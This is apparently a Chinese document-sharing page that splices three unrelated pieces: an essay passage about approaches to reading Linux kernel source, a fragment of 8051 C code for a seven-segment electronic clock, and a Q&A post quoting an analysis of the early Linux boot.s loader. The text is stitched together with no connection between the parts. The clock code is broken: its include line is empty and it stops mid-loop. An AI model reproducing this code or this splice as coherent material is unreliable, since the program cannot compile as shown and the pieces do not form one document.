知道软件执行效率和软件的可维护性很多情况下是背道而驰的。如何在保证内核高效的前提下提高内核的可维护性,这需要依赖于内核中那些“优美”的设计。 3.神奇的编程技巧。在一般的应用软件设计领域,编码的地位可能不被过度的重视,因为开发者更注重软件的良好设计,而编码仅仅是实现手段问题——就像拿斧子劈柴一样,不用太多的思考。但是这在内核中并不成立,好的编码设计带来的不光是可维护性的提高,甚至是代码性能的提升。 每个人对内核的了理解都会有所不同,随着我们对内核理解的不断加深,对其设计和实现的思想会有更多的思考和体会。因此本文更期望于引导更多徘徊在Linux内核大门之外的人进入Linux的世界,去亲自体会内核的神奇与伟大。而我也并非内核源码方面的专家,这么做也只是希望分享我自己的分析源码的经验和心得,为那些需要的人提供参考和帮助,说的“冠冕堂皇”一点,也算是为计算机这个行业,尤其是在操作系统内核方面贡献自己的一份绵薄之力。闲话少叙(已经罗嗦了很多了,囧~),下面我就来分享一下自己的Linix内核源码分析方法。 二、内核源码难不难? 从本质上讲,分析Linux内核代码和看别人的代码没有什么两样,因为摆在你面前的一般都不是你自己写出来的代码。我们先举一个简单的例子,一个陌生人随便给你一个程序,并要你看完源码后讲解一下程序的功能的设计,我想很多自我感觉编程能力还可以的人肯定觉得这没什么,只要我耐心的把他的代码从头到尾看完,肯定能找到答案,并且事实确实是如此。那么现在换一个假设,如果这个人是Linus,给你的就是Linux内核的一个模块的代码,你还会觉得依然那么 轻松吗?不少人可能会有所犹豫。同样是陌生人(Linus要是认识你的话当然不算,呵呵~)给 你的代码,为什么给我们的感觉大相径庭呢?我觉得有以下原因:

电子时钟程序代码

#include #define uchar unsigned char #define uint unsigned int uchar code weixuan[8]={0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01}; //位选,控制哪个数码管亮。(从右到左) uchar code duanxuan[12]={0xc0,0xf9,0xa4,0xb0,0x99,0x92,0x82,0xf8,0x80,0x90,0xbf, 0xff}; //0-9,'-','灭' uchar data timedata[3]={0x00,0x00,0x00}; //时间缓冲区,分别为:秒、时、分。 uchar data datetime[8]={0xc0,0xc0,0xbf,0xc0,0xc0,0xbf,0xc0,0xc0}; //时间缓冲区,初始化显示00-00-00。 uchar tt1,tt2,tt,tt0,num=0; uchar flag,flag1,flag2,flash; sbit key1=P1^3; sbit key2=P1^5; sbit key3=P1^7; //**************延时函数********************************* void delay(uint del) { uchar i, j; for(i=0; i

Linux内核源代码解读

Linux内核源代码解读!! 悬赏分:5 - 提问时间2007-1-24 16:28 问题为何被关闭 赵炯书中,Bootsect代码中有 mov ax , #BOOTSEG 等 我曾自学过80x86汇编,没有见过#的用法,在这为什么要用#? 另外, JMPI 的用法是什么?与JMP的区别是什么? 提问者: Linux探索者 - 一级 答复共 1 条 检举 系统初始化程序 boot.s 的分析 [转] 系统初始化程序 boot.s 的分析: 阚志刚,2000/03/20下午,在前人的基础之上进行整理完善 ******************************************************************************** ************** boot.s is loaded at 0x7c00 by the bios-startup routines, and moves itself out of the way to address 0x90000, and jumps there. 当PC 机启动时,Intel系列的CPU首先进入的是实模式,并开始执行位于地址0xFFF0处的代码,也就是ROM-BIOS起始位置的代码。BIOS先进行一系列的系统自检,然后初始化位于地址0的中断向量表。最后BIOS将启动盘的第一个扇区装入0x7C00(31K;0111,1100,0000,0000),并开始执行此处的代码。这就是对内核初始化过程的一个最简单的描述。 最初,Linux核心的最开始部分是用8086汇编语言编写的。当开始运行时,核心将自己装入到绝对地址0x90000(576K; 1001,0000,0000,0000,0000),再将其后的2k字节装入到地址0x90200(576.5k;1001,0000,0010,0000,0000)处,最后将核心的其余部分装入到0x10000(64k; 1,0000,0000,0000,0000). It then loads the system at 0x10000, using BIOS interrupts. Thereafter it disables all interrupts, moves the system down to 0x0000, changes to protected mode, and calls the start of system. System then must RE-initialize the protected mode in it's own tables, and enable interrupts as needed. 然后,关掉所有中断,把系统下移到0x0000(0k;0000,0000,0000,0000,0000)处,改变到保护模式,然后开始系统的运行.系统必须重新在保护模式下初始化自己的系统表格,并且打开所需的中断. NOTE 1! currently system is at most 8*65536(8*64k=512k; 1000,0000,0000,0000,0000) bytes long. This should be no problem, even in the future. I want to keep it simple. This 512 kB kernel size should be enough - in fact more would mean we'd have to move not just these start-up routines, but also do something about the cache-memory

相关文档